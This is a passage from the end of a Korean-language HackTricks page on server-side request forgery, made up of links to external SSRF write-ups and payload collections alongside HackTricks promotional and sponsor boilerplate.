* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)